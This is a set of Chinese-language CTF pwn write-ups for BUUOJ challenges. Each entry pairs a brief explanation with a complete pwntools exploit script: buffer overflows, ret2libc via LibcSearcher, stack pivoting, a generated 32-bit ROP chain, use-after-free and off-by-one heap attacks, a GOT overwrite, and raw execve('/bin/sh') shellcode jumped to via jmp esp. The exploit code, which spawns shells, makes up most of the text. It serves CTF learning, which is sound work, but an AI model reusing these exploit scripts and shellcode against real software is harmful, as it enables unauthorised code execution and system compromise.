mrctf2020_easyoverflow
fake_flag 是 n0t_r3@11y_f1@g

程序 gets 到的是 v4(rbp-0x70),然后对比的 v5 是在 rbp-0x40,输入 0x30 个字符之后再输入就是与 fake flag 对比的了

from pwn import *p=process('./mrctf2020_easyoverflow')#p=remote('node3.buuoj.cn',26974)payload='a'*0x30+'n0t_r3@11y_f1@g'p.sendline(payload)p.interactive()
jarvisoj_level5
#!/usr/bin/env pythonfrom pwn import *from LibcSearcher import *context(os='linux',arch='amd64',log_level='debug')#p = remote('node3.buuoj.cn',28116)p=process('./pwn')elf = ELF('./pwn')payload = 'a'*0x80 + 'a'*0x8rdi_add = 0x4006b3rsir15_add = 0x4006b1write_plt = elf.plt['write']write_got = elf.got['write']vul_add = elf.symbols['vulnerable_function']payload1 = payload + p64(rdi_add) + p64(0x1) + p64(rsir15_add) + p64(write_got) + 'deadbeef' + p64(write_plt) + p64(vul_add)p.recvuntil("Input:\n")p.sendline(payload1)write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))libc=LibcSearcher('write',write_addr)libc_base=write_addr-libc.dump('write')sys_add = libc_base + libc.dump('system')binsh_add =libc_base+libc.dump('str_bin_sh')payload2 = payload + p64(rdi_add) + p64(binsh_add) + p64(sys_add)p.recvuntil("Input:\n")p.sendline(payload2)p.interactive()
gyctf_2020_some_thing_exceting
去申请的时候会先申请 0x10 大小的 chunk 来存放用户申请的 chunk 的指针,free 的时候没有置为 NULL,存在 UAF
在一开始的时候会把 flag 读到 0x6020A8 这里,只要能 show 这个地址的内容就行

一开始申请两个与 0x10 不一样大的,然后 free 掉,再去申请 0x10 大小的时候就会申请到那个存储指针的那里,修改指针为 bss 段放 flag 的地址
#!/usr/bin/env pythonfrom pwn import *p=process("./pwn")def create(size1,content1,size2,content2):p.sendlineafter("want to do :","1")p.sendlineafter("length : ",str(size1))p.sendlineafter("ba : ",content1)p.sendlineafter("length : ",str(size2))p.sendlineafter("na : ",content2)def delete(index):p.sendlineafter("want to do :","3")p.sendlineafter("Banana ID : ",str(index))def show(index):p.sendlineafter("what you want to do :","4")p.sendlineafter("SCP project ID : ",str(index))create(0x30,"yichen",0x20,"writeup")create(0x30,"yichen",0x20,"writeup")gdb.attach(p)pause()flag_addr=0x6020A8delete(0)delete(1)create(0x10,p64(flag_addr),0x10,p64(flag_addr))show(0)p.interactive()

actf_2019_babystack
只能栈溢出 0x10 大小的,栈迁移
给出了写到的地址,一开始通过栈迁移执行 puts 函数来拿到函数的地址,从而获得 libc 的地址
然后再一次栈迁移执行 system 函数
# coding=utf-8from pwn import *from LibcSearcher import LibcSearcherp = process("./pwn")#p=remote("node3.buuoj.cn",27254)elf = ELF("./pwn")puts_got = elf.got["puts"]puts_plt = elf.plt["puts"]main_addr = 0x04008F6leave_ret = 0x400A4Epop_rdi = 0x0400ad3ret = 0x400709p.sendlineafter(">","224")p.recvuntil("0x")address = int(p.recv(12),16)payload1 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)payload1=payload1.ljust(0xd0,'a')payload1 += p64(address-8) + p64(leave_ret)p.send(payload1)puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00"))libc = LibcSearcher("puts",puts_addr)libcbase = puts_addr - libc.dump("puts")sys_addr = libcbase + libc.dump("system")bin_sh = libcbase + libc.dump("str_bin_sh")p.sendlineafter(">","224")p.recvuntil("0x")address = int(p.recv(12),16)payload2 = p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)payload2 = payload2.ljust(0xd0,'a')payload2 += p64(address-8) + p64(leave_ret)p.send(payload2)p.interactive()
[-]axb_2019_brop64
如果不是 brop 的话只是一道经典的 ret2libc
测试出缓冲区大小
from pwn import*context.log_level='debug'def getsize():i = 200while 1:try:p = remote('node3.buuoj.cn',25413)p.recvuntil("Please tell me:")p.send(i*'a')sleep(0.1)data = p.recv()p.close()if "Goodbye" not in data:return i-1else:i+=1except EOFError:p.close()return i-1size = getsize()print "size is [%s]"%size
cmcc_pwnme2
返回到 gets 函数,往 strings 那里写入 flag 的路径然后用 exec_string() 给读出来
# coding=utf-8from pwn import *from LibcSearcher import LibcSearchercontext.log_level = "debug"#p = process("./pwnme2")p=remote("node3.buuoj.cn",27892)elf = ELF("./pwnme2")gets_plt=elf.plt['gets']pop_rdi=0x0400963exec_string=0x80485CBstring=0x804A060payload='a'*0x6c+'a'*4+p32(gets_plt)+p32(exec_string)+p32(string)p.sendlineafter("input:\n",payload)p.sendline('./flag')p.interactive()
picoctf_2018_can_you_gets_me
静态链接的程序,直接 rop chain
ROPgadget —binary pwn —ropchain
# coding=utf-8from pwn import *context.log_level = "debug"from struct import pack#sh = process("./pwn")sh = remote("node3.buuoj.cn",27195)# Padding goes herep = 'a'*28p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b81c6) # pop eax ; retp += '/bin'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b81c6) # pop eax ; retp += '//sh'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de955) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0806cc25) # int 0x80sh.sendlineafter("GIVE ME YOUR NAME!\n",p)sh.interactive()
hitcontraining_unlink
picoctf_2018_got_shell
有个后门,0x804854B,程序可以把 4 字节的内容写到一个地址上,把 puts 的 got 表写入后门的地址就行了
from pwn import *p = remote('node3.buuoj.cn',25055)elf = ELF("./pwn")libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')puts_got=elf.got['puts']puts_plt=elf.plt['puts']win_addr=0x804854Bp.sendlineafter("byte value?",hex(puts_got))p.recvuntil("write to")p.sendlineafter("\n",hex(win_addr))p.interactive()
npuctf_2020_easyheap
只能申请 26 跟 56 大小的 chunk,在一开始会申请 0x10 大小的 chunk,用来存放用户申请的 size 与指针

edit 的时候有一个 off by one,free 的时候存在 UAF


首先申请两个 0x20 的,因为还有存放用户申请的 size 与 指针的两个 0x20 大小程序自己申请的 chunk,现在一共是 4 个 0x20 大小的 chunk

现在编辑第 0 个(index 从 0 开始)通过 off by one 把 0x603290 也就是记录 index1 的那个 chunk 的 size 改为 0x41,然后把第一个 delete 掉,这样就有了一个 0x20 大小和一个 0x40 大小的 free chunk
接下来再去 create 一个 0x40 大小的,因为有个 0x20大小的 free chunk,所以会被用来放 size 与指针,但是他包含在我们申请的 0x20 中的,可以编辑掉,如果编辑为 atoi 的 got 表项就可以通过 show 来,以此得到 libc 的地址然后计算 system 的地址,然后再次编辑 system 函数直接输入 ‘/bin/sh\x00’ 就直接拿到 shell
from pwn import *p=process('./pwn')elf=ELF('./pwn')libc=ELF('./libc.so.6')#p=remote('node3.buuoj.cn',25010)context.log_level='debug'def create(size,content):p.sendlineafter("choice :",'1')p.sendlineafter("(0x10 or 0x20 only) : ",str(size))p.sendlineafter("Content:",content)def edit(index,content):p.sendlineafter("choice :","2")p.sendlineafter("Index :",str(index))p.sendlineafter("Content: ",content)def show(index):p.sendlineafter("choice :",'3')p.sendlineafter("Index :",str(index))def delete(index):p.sendlineafter("choice :","4")p.sendlineafter("Index :",str(index))create(24,'yichen')create(24,'writeup')edit(0,'a'*0x18+'\x41')delete(1)create(56,'a'*0x18+p64(0x21)+p64(0x8)+p64(elf.got['atoi']))show(1)p.recvuntil("Content : ")atoi_addr = u64(p.recvuntil('\x7f').ljust(8, '\x00'))libc_base = atoi_addr - libc.symbols['atoi']sys_addr = libc_base + libc.symbols['system']edit(1,p64(sys_addr))p.sendlineafter('Your choice :','/bin/sh\x00')p.interactive()
ciscn_2019_s_9
存在栈溢出
hint 函数中 jmp esp 的地址 0x8048554
如果 shellcode 直接放后面会不够大
from pwn import *p = process('./pwn')jmpesp = 0x8048554shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"shellcode += "\x0b\xcd\x80"payload = shellcode+(36-len(shellcode))*'a'+p32(jmpesp)payload += asm('sub esp,40;jmp esp')p.sendline(payload)p.interactive()
